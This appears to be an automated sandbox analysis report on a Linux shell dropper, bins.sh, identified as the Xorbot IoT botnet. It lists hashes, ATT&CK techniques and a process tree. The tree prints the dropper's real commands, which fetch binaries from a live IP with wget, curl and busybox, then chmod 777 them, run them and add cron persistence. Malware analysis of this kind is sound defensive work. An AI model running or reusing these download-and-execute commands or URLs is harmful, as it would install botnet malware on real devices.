xorbot | a0a54c329711a2256a29575165799da23c15bd2a32e076c787b4bdac9eb3c8ce

Analysis

max time kernel
149s
max time network
151s
platform
debian-9_armhf
resource
debian9-armhf-20250619-en
resource tags

arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
11/09/2025, 09:08

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General

Target
bins.sh
Size 10KB
Sample250911-k37flabn3x
SHA256 a0a54c329711a2256a29575165799da23c15bd2a32e076c787b4bdac9eb3c8ce
MD5 c1c03e3c9c6638220c6a558c70ee0a6e
SHA1 80dd0563e818cdae3754cfb8ad09dd756ef5878d
SHA512 29f367680b2cc778f6110862593f8a73ef4c30ff669d02e973ba8c165d2b7f31ba1fa46a8684e20656ba4e2ee90b92a484afb049044ee4f35152c757d8d83d17
SSDEEP 192:so4taSayaTaKaGapWXaLWoLWuaSayaTaKaGay:so4gPvenLpWXpPvenLy
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

antivm botnet defense_evasion discovery execution xorbot persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (1092) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 2 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
685	chmod
731	chmod

Executes dropped EXE 2 IoCs

ioc	pid	Process
/tmp/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo	686	bins.sh
/tmp/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY	732	bins.sh

Renames itself 1 IoCs

pid	Process
733	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.jGO6iS	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 2 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/8/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/585/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/833/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/845/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/782/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/871/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/882/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/929/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/933/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/941/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/957/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/6/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/806/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/866/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/878/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/915/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/835/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/312/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/320/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/780/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/795/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/939/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/26/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/776/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/809/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/900/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/792/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/829/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/898/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/861/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/107/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/573/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/660/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/779/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/802/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/826/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/891/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/778/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/855/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/857/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/893/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/2/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/785/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/7/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/783/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/846/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/872/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/1/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/794/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/831/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/804/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/27/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/43/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/237/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/801/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/942/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/308/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/901/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/953/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/15/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/19/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
File opened for reading	/proc/813/cmdline	FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY

Writes file to tmp directory 7 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo	curl
File opened for modification	/tmp/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo	busybox
File opened for modification	/tmp/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY	wget
File opened for modification	/tmp/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY	curl
File opened for modification	/tmp/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY	busybox
File opened for modification	/tmp/PLZh2lg1Ostl7iHqWsyaBk9HWikhIGKkKI	wget
File opened for modification	/tmp/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:647
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:653
- /usr/bin/wget
  wget http://178.16.54.252/bins/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
  2⤵
  - Writes file to tmp directory
  PID:656
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:677
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
  2⤵
  - Writes file to tmp directory
  PID:678
- /bin/chmod
  chmod 777 AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
  2⤵
  - File and Directory Permissions Modification
  PID:685
- /tmp/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
  ./AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
  2⤵
  PID:686
- /bin/rm
  rm AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
  2⤵
  PID:689
- /usr/bin/wget
  wget http://178.16.54.252/bins/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
  2⤵
  - Writes file to tmp directory
  PID:691
- /usr/bin/curl
  curl -O http://178.16.54.252/bins/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:716
- /bin/busybox
  /bin/busybox wget http://178.16.54.252/bins/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
  2⤵
  - File and Directory Permissions Modification
  PID:731
- /tmp/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
  ./FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:732
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:734
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:735
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:736
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:737
- /bin/rm
  rm FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
  2⤵
  PID:769
- /usr/bin/wget
  wget http://178.16.54.252/bins/PLZh2lg1Ostl7iHqWsyaBk9HWikhIGKkKI
  2⤵
  - Writes file to tmp directory
  PID:772

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo

Path /tmp/AfuY6I4AFCXbZE4CCZCBg8JkkvwEqepeNo
Size 113KB
SHA256 de5fb68023465cb5d8ace412e11032d98a41bd6af2a83245c046020530130496
MD5 8b8c0216dfc57c4f7fb3a28f2c11092f
SHA1 4e27eed09e093cae6cafdc6c3950fec3dd855c56
SHA512 180389988e548658e19d188e59a6c557c7a3451afada1657939c1647dbdf8d9f19cf4ef7cc257a88183d1742266e2028fa4f789b71c01466d7c8fd0282c31661
SSDEEP 3072:jqSC1jMnO1ONuF69cFpt+6mUHM5RsNtbm9c:jxwGuF4S+6mUHM5Rs/bm9c
MD5 SHA1 SHA512 SSDEEP

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FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY

Path /tmp/FG1heV2VB1Bxx2q4QjlaR78Io8eFy4NHSY
Size 178KB
SHA256 9c683b0be86d4cd274a7a16073bdf092218f259b055a72f848d589574e9b8084
MD5 19160a5523c423d5bf271501c4f2a034
SHA1 c89fc29e6d4259f6ef314e5baaab2014e9c5dd8c
SHA512 442a0e575d79775d956026beb75d193251729cddaea5d0407e79e7d78a82db7703970c44f1c23e86d5459e2615b56d968bfbd3bff93656730e0659fb1358ecfe
SSDEEP 3072:TI9TfU7BPdL8xt4fYarb1lFkw/YFrAVoWUzXhKNM/9qxuHXLmmmLdwC7HuRsY:TI9owarb1lF9/vVoNzXhAM/9VXLmmmLe
MD5 SHA1 SHA512 SSDEEP

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PLZh2lg1Ostl7iHqWsyaBk9HWikhIGKkKI

Path /tmp/PLZh2lg1Ostl7iHqWsyaBk9HWikhIGKkKI
Size 12KB
SHA256 8cb5ba9e75b7474e2b3a8122c147c90fb00835af294c0feeebdb29fbf117dd48
MD5 754e58e791dac6e248030a3fcc615e78
SHA1 f1b6987f44b86125f74d7713a664221ead5e9769
SHA512 0bc910ae4babca13f4389bbc5874b2f8865211fb00b1ec9ff38694193037f70139f844a1cf1d976c1520c20800a0ac118b6c619d78e2640532e4a24a1658eb19
SSDEEP 384:EuVnIdfekMz88wTraEEnnuvsHz0t/s0K0nnD:EsIdfDMB0u9z4
MD5 SHA1 SHA512 SSDEEP

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tmp.jGO6iS

Path /var/spool/cron/crontabs/tmp.jGO6iS
Size 210B
SHA256 fd060a2a67ddcc01a601e0b419628879d31aa77e9709951b3f75135592201cf2
MD5 0a217fe0a437ec2d8b6084af7ba104ef
SHA1 d2656d4ffe8b746fb266926c04648e092c6bc4de
SHA512 b2d598a2935e1e7a6fca056615dc6f768783c80a9aeeeb9414ed7492522b13d6a9f63eea90dfb41accf16e64a8eb7bbe54d11b671e3534ec3a25dfe4f1ba7e0b
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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